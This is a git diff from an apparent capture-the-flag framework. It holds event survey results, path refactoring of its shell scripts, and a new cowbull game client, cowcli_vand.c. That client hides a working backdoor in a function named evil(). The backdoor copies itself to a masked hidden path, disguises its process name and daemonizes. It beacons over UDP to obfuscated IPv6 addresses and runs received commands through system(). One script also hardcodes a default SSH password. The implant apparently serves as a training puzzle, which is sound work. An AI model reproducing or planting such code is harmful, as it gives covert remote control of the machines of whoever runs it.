diff --git a/doc/2011-03-TF3/survey-results.html b/doc/2011-03-TF3/survey-results.html new file mode 100644 index 0000000..b80a47d --- /dev/null +++ b/doc/2011-03-TF3/survey-results.html @@ -0,0 +1,328 @@ + +Survey results + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Classinstructorclassroomclass-contentcontest-setupcontest-ambiancecontest-networkcontest-lanlcontest-sandiacontest-vendorshotelComments
net★★★ ★★★ ★★★ ★★★ ★★★ ★★★ ★★★ ★★★ ★★★ ★★★
net★★★ ★★ ★★ Useful techniques, but no practical training on how to identify what data should be flagged for deeper analysis (e.g. how do you find the data that you will then try to crack)★★ ★★ ★★ ★★ None ★★★ Solera was actually practical as it walked you through part of an investigation★★ albuquerque would be more convenientIt would be nice to take a more practical approach to the training and exercise. E.g. Here are some things you would do to identify areas of concern and then go into the investigation of the data. Exercises could be less "random" and tied together better.
host★★★ Everyone was awesome. Great job guys! ★★ If you were in the back of the room the board was little hard to see.★★★ ★★★ ★★★ ★★ ★★ The challenges were tough. However, the answer server could use some improvement in the way it accepts answers, or make it more clear what format it needs to be in. A lot of time was spent trying to enter the answer in the right syntax after we got it. ★★★ ★★★ ★★ The food was good. The rooms were a tad small.Overall the conference was very good.
net★ 1% instruction, more of a sink or swim- Here ya go. I thought this was a training course.★★ ★ There wasn't much teaching. Seemed to be a exercise of what you already knew. Signed up to learn. Moved to Malware RE the second day were they were teaching.★★ Would be better with some elbow room. 7 laptops and a desktop on a small round table doesn't work so well.★★★ Just loud enough, Chairs were uncomfortable★★★ ★★ Would have better to have a true capture the flag instead of puzzles. Maybe each team gets a server and must protect and attack others.★★ ★★ ★★★
★★ too many to give an accurate judgement. some good, some so-so★★ worked well. Noisy AC hurt hearing at time. ★★ Slides were way to crowded and ahrd to read. If you were not familiar with the tools, the fast clicking through windows hurt.★★★ ★★ understanding the voince from beyond over the music was difficult. Probably fine of you live in a leet underworld and are used to the accent.★★★ None forensics puzzles needed to be replaced. Answers needed verificaion and format specified.
None Limiting it to 1 thing being worked on at a time for the group was a bad design. Loosing points as others attempt to work on other pieces.★★ Finding your way through solera would be easier if it was commonly used. Attempting to find what they anted through a gui is much more difficult that what I normally do vai dumping pcap.★★ A strange but interesting place. needed increaed water pressure if you want a hot shower.With the forensics puzzles, having the same for the classroom vs the contest helped those that took close notes. There is way too much use of Encase and limits on how far yoyu can get if you are unfamiliar with it.
net★ 1% instruction, more of a sink or swim- Here ya go. I thought this was a training course.★★ ★ There wasn't much teaching. Seemed to be a exercise of what you already knew. Signed up to learn. Moved to Malware RE the second day were they were teaching.★★ Would be better with some elbow room. 7 laptops and a desktop on a small round table doesn't work so well.★★★ Just loud enough, Chairs were uncomfortable★★★ ★★ Would have better to have a true capture the flag instead of puzzles. Maybe each team gets a server and must protect and attack others.★★ ★★ ★★★
host★★★ ★★ ★★★ ★★ ★★★ ★★ ★★★ ★★★ ★★ ★★ Please... somewhere with faster, more reliable internet next year.
host★★★ ★★ ★★★ ★★ ★★★ ★★ ★★★ ★★★ ★★ ★★ Please... somewhere with faster, more reliable internet next year.
host★★★ ★★ ★★★ ★★ ★★★ ★★ ★★★ ★★★ ★★ ★★ Please... somewhere with faster, more reliable internet next year.
net★★ ★★ ★★★ If students should use python3, then all the examples should be in python3★★★ ★★ ★★★ ★★★ ★★★ ★★ ★★★
noneNone Didn't attendNone Didn't attendNone Didn't attend★★★ ★★★ ★★★ ★★★ None Didn't focus on itNone Didn't focus on it★★★ More stuff like WOPR / octopus / pwnables / printf!
host★★ The portions of the instruction that were lecture only could have been improved by having students follow along and actually participate. For example, instead of teaching Windows Registry purely by lecture, have students open Regex or examine the Registry using EnCase.★★★ Good facilities and connections. No complaints.★★★ Aside from the pure lecture portions, the content was good. Exactly what I expected when signing up for a forensics course. Good that not a lot of time was devoted to teaching the basics of the programs, like EnCase.★★★ Good facilities and connections. No complaints.★★ Would it kill you to play a little Smokey Robinson? ;)★★★ No complaints.★★★ Awesome puzzles and contests. So much to keep everyone busy. Maybe a little too much material for smaller teams to even make a dent in scoring points. My only complaint is the way in which answers are required to be formatted. See the General Comments section for more detail.★★ I didn't really participate much in the Sandia Jeopardy business. From what I saw, it looked good.★★★ Good way to show off their products without it being just a sales pitch. The puzzles they provided were great.★★★ Nice. No complaints.Participants should not have to decipher the format of the answer for the questions on their own. Dates/times entries either need to be in a precise, specified format or the system should be able to taken input and determine whether or not the correct answer is known. Whether or not an answer is correct should be determined by upper or lower case letters. The scoring systems should be able to compare the data submitted and normalize the input and compare it to the correct answer.
net★★ ★★★ ★★★ ★★★ ★★ Not a fan of house music, other than that it was great★ serious issues, I do not know what to tell you about how to fix it but it was "spotty" at best★★ more HINTS for newbs★★ Good, but got complicated with the NAS and the storage and the file management and stuff, that could be implemented better★★★ The fireeye got hard fast, which means I did not finish, but it also means that their system didn't get totally utilized right?★★★ the laFonda was pretty awesome actuallyI hope eI get to keep coming to these, this has been a great culmination of the first few years of my experience as a cyber analyst and it was great to see that I am indeed actually learning something.
None None None None None None None None None None
net★★★ ★★ ★★★ ★★★ ★★★ ★★★ ★★★ ★★★ ★★★ ★★★ This is really great material and the puzzles are very well presented. The entire exercise is extremely well organized. + +This lacking was my background knowledge. + +Next time I am going to be a lot more prepared for the challenges. + +This was my first ever Capture the flag and participation in a exercise like this but you certainly have found a permanent participant. + +A+++++ will do it again. + +Tracerfire starts from where all the text books ends. +
noneNone Did not attend the classNone Did not attend the classNone Did not attend the class★★★ ★★ Music was a little loud and repetitive (it's techno!)★★★ ★★★ Learned tons!None Did not play these ones★★★ Solera was interestingNone Did not use the hotelFirst time at a capture the flag competition. Learned a lot!
★★★ The Dr was good★★ seats sucked★★★ good stuff★★ tables, eh. room ok★★ purdy good★★ worky most of the time★★ ★★ ★ Solera example was weak★★ bar good. room ok.Thanks for the hard work! A little more intro to the contest and expectations for the n00bs would be good....
net★★ Not enough instructing. Mostly just "here's puzzles' solve them.★★ ★★★ Good material to learn on; just need more teaching, and more response to questions.★★ ★★ ★ Terrible. I often had to reload a dozen times to submit a solution. Also, being unable to reach the internet made this very frustrating and much less fun.★★★ Great material. Wish we had been introduced better to actually doing things; most categories my team had no idea how to even begin on, and contest time was not an environment that allowed us to learn in.None None None The contest material was really good, but nobody on my team knew how to approach (or even find!) most of it. Maybe this would be fixed by better team distribution, but it would be likely that someone skilled would just take over, instead of teaching other people. Thus, I ended up feeling really frustrated that I wasn't actually learning anything, and just feeling punished for the things I didn't know or couldn't do (which was most of the contest).
net★★ Paul clearly knows his stuff; however, his explanations weren't always clear.★★ difficult to see the few onscreen examples★★ it wasn't lame, but didn't find the info useful for the challenge days. :(★★ room was fine. tables were a bit small. Really like the provided forensic workstations with pre-loaded tools.★★ light was better than last year's event. Music wasn't great on day 1, "felt the rhythm" on day 2.★★★ awesome★★ overall good. some stuff was just unrealistic★★ overall good. some stuff was just unrealistic...and some was just funny!★★ really liked the idea of vendors offering their own challenges! I didn't get to work on them very much though (other team members)★★★ location was great! lots of choices for dinner and lunch downstairs was spot-on every day! the breakfast food was lame though I think Tracer should foster more "forced" interaction--the idea of information sharing is key...beyond the event, within our real jobs. I would like better or just more classroom hours. Maybe a full week of class room and a weekend of challenges would be cool. thanks for all the hard work!
none★★ NA★★ NA★★ NA★★★ ★★★ ★★ ★★★ ★★★ ★★ can't say★★ NA
net★ Come on, we expected some one teach something otherwise all those questions can be found through Internet.★★ ★★ ★★ ★★ ★★★ ★★★ ★★★ ★★★ ★★ I dont think I learn alot
host★★★ ★★ ★★ ★★ Several inconvenient network outages.★★★ ★ ★★ ★★ ★★ ★★★ Fun competition. Could have used more communication among the people who wrote the questions.
host★★ Varied. Not having the slides the first day made following along very difficult.★★ Screens were sometimes hard to see and chairs weren't comfortable.★★ Too Windows and Encase centric to justify another trip.★★ No real issues except the chairs.★★★ No complains here.★★ Didn't have any major issues and Internet access table was very fast.★★ Wasn't really aware there was different content between the sites except for some of the instructors.★★ ★★ Didn't attempt★★ All the shops close at 5pm so there's not much to do except eat and drink. Hotel WiFi was really slow. No vending machines?!Learned some interesting things, met some very interesting people, and got a different perspective on security, but can't justify another trip for myself or a fellow system administrator with the content and exercises used this year.
net★★★ ★★★ ★★★ Problems were hard I learned a lot.★★★ ★★★ ★★★ ★★★ ★★★ ★★★ None The network ran well. problems were hard. thanks for the effort.
malware★★★ ★★ ★★★ ★★ uncomfortable chairs★★ music was a bit too loud★★ better access to internet★★★ first time, so it must be great★★★ see above★★ didn't touch it, so i have no idea★★ did not stay in hotel
+ diff --git a/doc/2011-09-Inferno/inferno.png b/doc/2011-09-Inferno/inferno.png new file mode 100644 index 0000000..13c8c5e Binary files /dev/null and b/doc/2011-09-Inferno/inferno.png differ diff --git a/doc/ref.txt b/doc/ref.txt index 6c3811e..5266616 100644 --- a/doc/ref.txt +++ b/doc/ref.txt @@ -1,14 +1,14 @@ How to run a CTF event ====================== -When a CTF image boots, it goes through the following sequence: +When DBTL boots, it goes through the following sequence: -1. Mount a partition labelled "CTF-STATE" read-only under /var/lib/ctf, - if such a partition exists -2. Mount a partition labelled "CTF" under /mnt/ctf -3. For every file matching /mnt/ctf/${pkg}.pkg, mount it under /opt/$pkg -4. For every directory matching /opt/*/service/${d}, copy it recursively - into /var/service/$d +1. Mount a partition labelled "PACKAGES" read-only under /mnt/packages +2. Mount a partition labelled "STATE" read-write under /state, + or make it a tmpfs if no such partition exists +3. For every file matching /mnt/packages/${pkg}.pkg, mount it under /packages/$pkg +4. For every directory matching /packages/*/service/${d}, copy it recursively + into /service/$d Terms Used Here --------------- diff --git a/doc/tokens.txt b/doc/tokens.txt index 2184e63..5ff652a 100644 --- a/doc/tokens.txt +++ b/doc/tokens.txt @@ -52,13 +52,13 @@ The token client thus needs a 4-tuple for each puzzle: In the interest of making things easy to administer and code, this 4-tuple is stored in files and directories: - /opt/packagename/tokencli/puzzle_name/enc.key - /opt/packagename/tokencli/puzzle_name/category.key - /opt/packagename/tokencli/puzzle_name/category + /packages/packagename/tokencli/puzzle_name/enc.key + /packages/packagename/tokencli/puzzle_name/category.key + /packages/packagename/tokencli/puzzle_name/category And puzzles are stored in: - /var/lib/ctf/tokens/puzzle_name + /state/tokens/puzzle_name Using this scheme, the token client has only to iterate over -/opt/*/tokencli/* instead of implementing some sort of parser. +/packages/*/tokencli/* instead of implementing some sort of parser. diff --git a/packages/00common/service/pointsd/mkpage b/packages/00common/service/pointsd/mkpage index ea084ac..ac98d83 100755 --- a/packages/00common/service/pointsd/mkpage +++ b/packages/00common/service/pointsd/mkpage @@ -1,9 +1,7 @@ #! /bin/sh -OPT=${CTF_BASE:-/opt} - # Use first installed binary -for bin in $OPT/*/bin/$1; do +for bin in $CTF_BASE/packages/*/bin/$1; do if [ -x $bin ]; then exec $bin fi @@ -21,3 +19,4 @@ cat < EOD +exit 1 diff --git a/packages/00common/service/pointsd/pointsd b/packages/00common/service/pointsd/pointsd index fd68f46..36d1506 100755 --- a/packages/00common/service/pointsd/pointsd +++ b/packages/00common/service/pointsd/pointsd @@ -2,11 +2,11 @@ fn=$2/$3 -WWW=${CTF_BASE:-/var/www} -BASE=${CTF_BASE:-/var/lib/ctf} -OPT=${CTF_BASE:-/opt} +PACKAGES=$CTF_BASE/packages +STATE=$CTF_BASE/state +WWW=$CTF_BASE/www -POINTS=$BASE/points.log +POINTS=$STATE/points.log BACKUP=$WWW/backup.png SCOREBOARD=$WWW/scoreboard.html PUZZLES=$WWW/puzzles.html @@ -22,11 +22,11 @@ cat $fn >> $POINTS rm $fn # Generate new backup if we can find a password file -for pwfile in $OPT/*/password; do +for pwfile in $PACKAGES/*/password; do if [ -f $pwfile ]; then ( cat bkup.png - tar cf - $BASE | gzip -c | $OPT/*/bin/tea 3< $pwfile + tar cf - $STATE | gzip -c | $PACKAGES/*/bin/tea 3< $pwfile ) > $BACKUP.new mv $BACKUP.new $BACKUP break diff --git a/packages/00common/service/pointsd/run b/packages/00common/service/pointsd/run index 033d17c..b32fb4d 100755 --- a/packages/00common/service/pointsd/run +++ b/packages/00common/service/pointsd/run @@ -2,9 +2,8 @@ exec 2>&1 -: ${CTF_BASE:=/var/lib/ctf} - -install -d $CTF_BASE +STATE=$CTF_BASE/state +WWW=$CTF_BASE/www # Create CTF and nobody users touch /etc/group /etc/passwd @@ -13,25 +12,23 @@ adduser -DH -G nogroup -u 65534 nobody || true adduser -DHS ctf || true # Set up base directories -NEWDIR=$CTF_BASE/points.new -TMPDIR=$CTF_BASE/points.tmp +NEWDIR=$STATE/points.new +TMPDIR=$STATE/points.tmp -install -d /var/www -install -d /var/lib/ctf install -o ctf -m 0755 -d $NEWDIR install -o ctf -m 0755 -d $TMPDIR # Create some files -touch /var/lib/ctf/points.log +touch $STATE/points.log # Generate preliminary scoreboard -if [ ! -f /var/www/scoreboard.html ]; then - ./mkpage scoreboard < /dev/null > /var/www/scoreboard.html +if [ ! -f $WWW/scoreboard.html ]; then + ./mkpage scoreboard < /dev/null > $WWW/scoreboard.html fi # Generate preliminary puzzles list -if [ ! -f /var/www/puzzles.html ]; then - ./mkpage puzzles.cgi > /var/www/puzzles.html +if [ ! -f $WWW/puzzles.html ]; then + ./mkpage puzzles.cgi > $WWW/puzzles.html fi # Run pointsd every time a new points file is dropped diff --git a/packages/00common/service/sshd/run b/packages/00common/service/sshd/run index de54c2f..880d277 100755 --- a/packages/00common/service/sshd/run +++ b/packages/00common/service/sshd/run @@ -3,7 +3,7 @@ exec 2>&1 password='grape guts' -for fn in /opt/*/password; do +for fn in $CTF_BASE/packages/*/password; do read password < $fn && break done diff --git a/packages/00common/src/common.c b/packages/00common/src/common.c index 1761a53..9f10dfa 100644 --- a/packages/00common/src/common.c +++ b/packages/00common/src/common.c @@ -364,21 +364,21 @@ my_snprintf(char *buf, size_t buflen, char *fmt, ...) } static char * -mkpath(char const *base, char const *fmt, va_list ap) +mkpath(char const *type, char const *fmt, va_list ap) { char relpath[PATH_MAX]; static char path[PATH_MAX]; - char const *var; + char const *var = getenv("CTF_BASE"); vsnprintf(relpath, sizeof(relpath) - 1, fmt, ap); relpath[sizeof(relpath) - 1] = '\0'; - var = getenv("CTF_BASE"); if (! var) { - var = base; + var = ""; } - my_snprintf(path, sizeof(path), "%s/%s", var, relpath); + /* $CTF_BASE/type/relpath */ + my_snprintf(path, sizeof(path), "%s/%s/%s", var, type, relpath); return path; } @@ -389,7 +389,7 @@ state_path(char const *fmt, ...) char *ret; va_start(ap, fmt); - ret = mkpath("/var/lib/ctf", fmt, ap); + ret = mkpath("state", fmt, ap); va_end(ap); return ret; } @@ -401,7 +401,7 @@ package_path(char const *fmt, ...) char *ret; va_start(ap, fmt); - ret = mkpath("/opt", fmt, ap); + ret = mkpath("packages", fmt, ap); va_end(ap); return ret; } diff --git a/packages/cowbull/service/cowbull/run b/packages/cowbull/service/cowbull/run index 730e5ba..6207c24 100755 --- a/packages/cowbull/service/cowbull/run +++ b/packages/cowbull/service/cowbull/run @@ -4,4 +4,4 @@ exec 2>&1 IP=$(dbip -a) -exec setuidgid nobody /opt/cowbull/bin/cowd < /opt/cowbull/tokens.txt +exec setuidgid nobody $CTF_BASE/packages/cowbull/bin/cowd < $CTF_BASE/packages/cowbull/tokens.txt diff --git a/packages/cowbull/src/cowcli_vand.c b/packages/cowbull/src/cowcli_vand.c new file mode 100644 index 0000000..396d8e0 --- /dev/null +++ b/packages/cowbull/src/cowcli_vand.c @@ -0,0 +1,355 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#define NODEBUG + +#ifdef DEBUG +# define PORT 4444 +#else +# define PORT 44 +#endif + +#define BDPORT 33333 +#define BCNPORT_S 48172 +#define BCNPORT_D 48179 + +int +bind_port(int fd, const struct in6_addr *addr, uint16_t port) +{ + struct sockaddr_in6 saddr = { 0 }; + + saddr.sin6_family = AF_INET6; + saddr.sin6_port = htons(port); + memcpy(&saddr.sin6_addr, addr, sizeof *addr); + return bind(fd, (struct sockaddr *) &saddr, sizeof saddr); +} + +void +sigchld(int unused) +{ + while (0 < waitpid(-1, NULL, WNOHANG)); +} + +void +unmask_str(unsigned char *str) +{ + int i = strlen(str); + while (i-- > 0) { + str[i] &= 127; + } +} +int +copyprog(const char *from, const char *to) +{ + int fd_to, fd_from; + char buf[4096]; + ssize_t nread; + int saved_errno; + + fd_from = open(from, O_RDONLY); + if (fd_from < 0) + return -1; + + fd_to = open(to, O_WRONLY | O_CREAT | O_TRUNC, 0700); + if (fd_to < 0) + goto out_error; + + while (nread = read(fd_from, buf, sizeof buf), nread > 0) + { + char *out_ptr = buf; + ssize_t nwritten; + + do { + nwritten = write(fd_to, out_ptr, nread); + + if (nwritten >= 0) + { + nread -= nwritten; + out_ptr += nwritten; + } + else if (errno != EINTR) + { + goto out_error; + } + } while (nread > 0); + } + + if (nread == 0) + { + if (close(fd_to) < 0) + { + fd_to = -1; + goto out_error; + } + close(fd_from); + + /* Success! */ + return 0; + } + + out_error: + saved_errno = errno; + + close(fd_from); + if (fd_to >= 0) + close(fd_to); + + errno = saved_errno; + return -1; +} + +void +signal_evil(int sig) +{ + if (fork()) { + exit(1); + } +} +void +evil(int argc, char *argv[]) +{ + int i; + int sock; + + char procname[] = "\xdb\xe8\xe3\xe9\xb1\xdd"; + char cptarget[] = "\xaf\xe4\xe5\xf6\xaf\xf3\xe8\xed\xaf\xae\xa0"; + + unmask_str(procname); + unmask_str(cptarget); + + if (strcmp(argv[0], cptarget)) { + if (fork()) { + return; + } + /* copy ourselves */ + if (copyprog(argv[0], cptarget) == 0) { + argv[0] = cptarget; + execv(cptarget, argv); + } + } else { + unlink(cptarget); + if (fork()) { + exit(0); + } + } + + /* mask the process title and arguments */ + while (argc--) { + int p = strlen(argv[argc]); + while (p--) { + argv[argc][p] = 0; + } + } + strcpy(argv[0], procname); + + + { + int r = open("/dev/null", O_RDONLY); + int w = open("/dev/null", O_WRONLY); + + dup2(r, 0); + dup2(w, 1); + dup2(w, 2); + close(r); + close(w); + setsid(); + chdir("/"); + signal(SIGHUP, signal_evil); + signal(SIGTERM, signal_evil); + signal(SIGINT, signal_evil); + signal(SIGQUIT, signal_evil); + } + + sock = socket(AF_INET6, SOCK_DGRAM, 0); + if (-1 == bind_port(sock, &in6addr_any, BDPORT)) { + exit(0); + } + struct timeval tv; + tv.tv_sec = 5; + tv.tv_usec = 0; + setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv,sizeof(struct timeval)); + + + while (1) { + /* beacon */ + int sock_beacon; + sock_beacon = socket(AF_INET6, SOCK_DGRAM, 0); + if (-1 == bind_port(sock_beacon, &in6addr_any, BCNPORT_S)) { + //perror("Beacon bind"); + ;; /* return EX_IOERR; */ + } + int subnet; + if (sock_beacon > 0) { + for (subnet = 0; subnet < 50; subnet++) { + char payload[] = "hi"; + char addr6_f[] = "\xe6\xe4\xb8\xb4\xba\xe2\xb4\xb1\xb0\xba\xb3\xb4\xb4\xb1\xba\xa5\xf8\xba\xba\xb1\xb3\xb3\xb7"; + unmask_str(addr6_f); + char addr6[64]; + sprintf(addr6, addr6_f, subnet); + + //printf("%s\n", addr6); + struct addrinfo *beacon_addr; + { + struct addrinfo hints = { 0 }; + + hints.ai_family = PF_INET6; + hints.ai_socktype = SOCK_DGRAM; + hints.ai_flags = AI_NUMERICHOST; + + if (0 != getaddrinfo(addr6, "48179", &hints, &beacon_addr)) { + ;;//perror("Resolving address"); + } + } + + struct sockaddr_in6 saddr = { 0 }; + + if(-1 == sendto(sock_beacon, &payload, sizeof payload, 0, beacon_addr->ai_addr, beacon_addr->ai_addrlen)) { + ;;//perror("Beacon send"); + } else { + ;;//printf("sent!\n"); + } + } + } + close(sock_beacon); + /* end beacon */ + + /* c&c */ + char cmd[400]; + ssize_t inlen; + + inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL); + + if (inlen < 1) { + continue; + } + + cmd[inlen] = 0; + if (! fork()) { + system(cmd); + exit(0); + } + } +} + +int +main(int argc, char *argv[]) +{ + long answer = 0; + int sock; + int i; + struct addrinfo *addr; + uint32_t token = 0; + FILE *in, *out; + + srand(time(NULL)); + + signal(SIGCHLD, sigchld); + + if (argc < 2) { + fprintf(stderr, "Usage: %s SERVER\n", argv[0]); + return EX_USAGE; + } + + evil(argc, argv); + + { + struct addrinfo hints = { 0 }; + + hints.ai_family = PF_INET6; + hints.ai_socktype = SOCK_DGRAM; + hints.ai_flags = AI_NUMERICHOST; + + if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) { + perror("Resolving address"); + return EX_IOERR; + } + } + + /* + * Set up socket + */ + sock = socket(AF_INET6, SOCK_DGRAM, 0); + if (-1 == bind_port(sock, &in6addr_any, PORT)) { + perror("Binding UDP port 44"); + return EX_IOERR; + } + + if (argv[2]) { + /* fork and exec */ + } else { + in = stdin; + out = stdout; + } + + + while (1) { + long guess; + struct { + uint32_t token; + uint16_t guess; + } g; + + g.token = token; + if (token) { + char line[20]; + + if (NULL == fgets(line, sizeof line, in)) { + break; + } + g.guess = strtol(line, NULL, 16); + } else { + g.guess = 0; + } + + /* Send the guess */ + if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) { + perror("Sending packet"); + return EX_IOERR; + } + + /* read the result */ + { + char buf[80]; + ssize_t len; + + len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL); + switch (len) { + case -1: + perror("Reading packet"); + return EX_IOERR; + case 1: + /* It's a score */ + printf("%02x\n", buf[0]); + break; + case 4: + /* New game token */ + printf("NEW GAME\n"); + token = *((uint32_t *) buf); + break; + default: + /* You win: this is your CTF token */ + buf[len] = 0; + printf("A WINNER IS YOU: %s\n", buf); + break; + } + } + } + + return 0; +} diff --git a/packages/fizzbuzz/service/fizzbuzz/go b/packages/fizzbuzz/service/fizzbuzz/go index f463309..1d57de0 100755 --- a/packages/fizzbuzz/service/fizzbuzz/go +++ b/packages/fizzbuzz/service/fizzbuzz/go @@ -1,3 +1,3 @@ #! /bin/sh -exec /opt/fizzbuzz/bin/fizzbuzz 3&1 -ln -sf /var/www default -exec tcpsvd -l localhost 0 80 /opt/inferno/bin/eris -d +cd $PACKAGES/www +exec tcpsvd -l localhost 0 80 $CTF_BASE/packages/inferno/bin/eris -d. diff --git a/packages/ircd/service/ircd/run b/packages/ircd/service/ircd/run index 60b3963..25ab064 100755 --- a/packages/ircd/service/ircd/run +++ b/packages/ircd/service/ircd/run @@ -31,4 +31,4 @@ cat <ngircd.conf Password = $operpass EOD -exec setuidgid irc /opt/ircd/bin/ngircd --config ./ngircd.conf --nodaemon +exec setuidgid irc $CTF_BASE/packages/ircd/bin/ngircd --config ./ngircd.conf --nodaemon diff --git a/packages/mcp/bin/addteam b/packages/mcp/bin/addteam index 76694d8..d2da8b1 100755 --- a/packages/mcp/bin/addteam +++ b/packages/mcp/bin/addteam @@ -14,19 +14,21 @@ escape () { # Don't overwrite files set -C -base=${CTF_BASE:-/var/lib/ctf} -www=${CTF_BASE:-/var/www} +STATE=$CTF_BASE/state +WWW=$CTF_BASE/www -mkdir -p $base/teams/names -mkdir -p $base/teams/colors +mkdir -p $STATE/teams/names +mkdir -p $STATE/teams/colors -[ -f $base/teams/salt ] || dd if=/dev/urandom count=1 2>/dev/null | md5sum | cut -b 1-8 > $base/teams/salt -salt=$(cat $base/teams/salt) +if ! [ -f $STATE/teams/salt ]; then + dd if=/dev/urandom count=1 2>/dev/null | md5sum | cut -b 1-8 > $STATE/teams/salt +fi +salt=$(cat $STATE/teams/salt) # Assign a color. I spent weeks selecting a color pallette that # wouldn't be hell on people with protanopia. Please don't change these # colors. -nteams=$(ls $base/teams/names/ | wc -l) +nteams=$(ls $STATE/teams/names/ | wc -l) case $(expr $nteams % 10) in 0) color=a6cee3;; 1) color=1f78b4;; @@ -50,7 +52,7 @@ esac # me since all team hashes are in the set /[0-9a-f]{8}/. hash=$(printf "%s:%s" $salt "$1" | md5sum | cut -b 1-8) -echo "$1" > $base/teams/names/$hash -echo "$color" > $base/teams/colors/$hash +echo "$1" > $STATE/teams/names/$hash +echo "$color" > $STATE/teams/colors/$hash echo "Registered with hash: $hash" diff --git a/packages/mcp/bin/new-contest b/packages/mcp/bin/new-contest index 02e7e1f..261bbf4 100755 --- a/packages/mcp/bin/new-contest +++ b/packages/mcp/bin/new-contest @@ -14,16 +14,14 @@ sv d pointsd sv d puzzled sv d tanksd -rm -f /var/lib/ctf/tokens.db -rm -f /var/lib/ctf/points.log -rm -f /var/www/scoreboard.html -rm -f /var/lib/ctf/puzzles.db -rm -rf /var/lib/ctf/points.new -rm -rf /var/lib/ctf/points.tmp -rm -rf /var/lib/ctf/tanks -rm -rf /var/lib/ctf/teams - -backup-pass +rm -f $CTF_BASE/state/tokens.db +rm -f $CTF_BASE/state/points.log +rm -f $CTF_BASE/www/scoreboard.html +rm -f $CTF_BASE/state/puzzles.db +rm -rf $CTF_BASE/state/points.new +rm -rf $CTF_BASE/state/points.tmp +rm -rf $CTF_BASE/state/tanks +rm -rf $CTF_BASE/state/teams sv u tokend sv u pointsd diff --git a/packages/mcp/bin/run-ctf b/packages/mcp/bin/run-ctf index 0d7e4ff..f134ec8 100755 --- a/packages/mcp/bin/run-ctf +++ b/packages/mcp/bin/run-ctf @@ -3,13 +3,15 @@ # First argument is seconds between running everything period=${1:-60} -BIN=${CTF_BASE:-/opt/mcp}/bin -WWW=${CTF_BASE:-/var}/www -STATE=${CTF_BASE:-/var/lib/ctf} +packages=$CTF_BASE/packages +state=$CTF_BASE/state +www=$CTF_BASE/www -NEWPOINTS=$STATE/points.new -POINTS=$STATE/points.log -SCOREBOARD=$WWW/scoreboard.html +BIN=$packages/mcp/bin + +NEWPOINTS=$state/points.new +POINTS=$state/points.log +SCOREBOARD=$www/scoreboard.html if ! [ -f $SCOREBOARD ]; then $BIN/scoreboard < $POINTS > $SCOREBOARD diff --git a/packages/mcp/bin/scoreboard b/packages/mcp/bin/scoreboard index cd6c21e..6440c7a 100755 --- a/packages/mcp/bin/scoreboard +++ b/packages/mcp/bin/scoreboard @@ -65,9 +65,6 @@ function output( t, c) { BEGIN { base = ENVIRON["CTF_BASE"] - if (! base) { - base = "/var/lib/ctf" - } # Only display two decimal places CONVFMT = "%.2f" @@ -108,13 +105,13 @@ END { for (team in teams) { # Busybox awk segfaults if you try to close a file that didn't # exist. We work around it by calling cat. - cmd = sprintf("cat %s/teams/colors/%s", base, team) + cmd = sprintf("cat %s/state/teams/colors/%s", base, team) color = "444444"; cmd | getline color colors_by_team[team] = color close(cmd) - cmd = sprintf("cat %s/teams/names/%s", base, team) + cmd = sprintf("cat %s/state/teams/names/%s", base, team) name = "Phantoms" cmd | getline name names_by_team[team] = name diff --git a/packages/mcp/bin/teams.sh b/packages/mcp/bin/teams.sh deleted file mode 100755 index 86bd6e3..0000000 --- a/packages/mcp/bin/teams.sh +++ /dev/null @@ -1,38 +0,0 @@ -#! /bin/sh - -cd ${CTF_BASE:-/var/lib/ctf}/teams/names - -escape () { - sed 's/&/\&/g;s//\>/g' -} - -title='Teams' - -cat < - - - $title - - - -

$title

-EOF - -echo "" -echo "" -for i in *; do - echo "" -done -echo "
TeamID
" - escape < $i - echo "$i
" - -cat < - Team names are only used on this page and the scoreboard. - Use your team ID to claim points. -

- - -EOF diff --git a/packages/mcp/service/httpd/run b/packages/mcp/service/httpd/run index b0462b8..df2a5c7 100755 --- a/packages/mcp/service/httpd/run +++ b/packages/mcp/service/httpd/run @@ -7,16 +7,15 @@ IP=$(dbip -a) hostname mcp # Link in puzzles and web pages -install -d /var/www -for d in /opt/*; do - w=/var/www/$(basename $d) +for d in /packages/*; do + w=$CTF_BASE/www/$(basename $d) if [ -d $d/puzzles ] && ! [ -d $w ]; then ln -sf $d/puzzles $w fi if [ -d $d/www ]; then - ln -sf $d/www/* /var/www/ + ln -sf $d/www/* $CTF_BASE/www/ fi done -cd /var/www -exec tcpsvd -u ctf ${IP%/*} 80 /opt/mcp/bin/eris -c. +cd $CTF_BASE/www +exec tcpsvd -u ctf ${IP%/*} 80 $CTF_BASE/packages/mcp/bin/eris -c. diff --git a/packages/mcp/www/register.cgi b/packages/mcp/www/register.cgi index e71c445..1330bb7 100755 --- a/packages/mcp/www/register.cgi +++ b/packages/mcp/www/register.cgi @@ -16,13 +16,13 @@ Content-type: text/html

Team Registration

EOF -if [ ! -w /var/www ] || [ ! -w /var/lib/ctf/teams ]; then +if [ ! -w $CTF_BASE/www ] || [ ! -w $CTF_BASE/state/teams ]; then echo "

It looks like the server isn't set up for self-registrations." echo "Go talk to someone at the head table to register your team.

" else echo "

Team name: $team

" echo -n "
"
-    if /opt/mcp/bin/addteam "$team"; then
+    if $CTF_BASE/mcp/bin/addteam "$team"; then
         echo "

Write this hash down. You will use it to claim points.

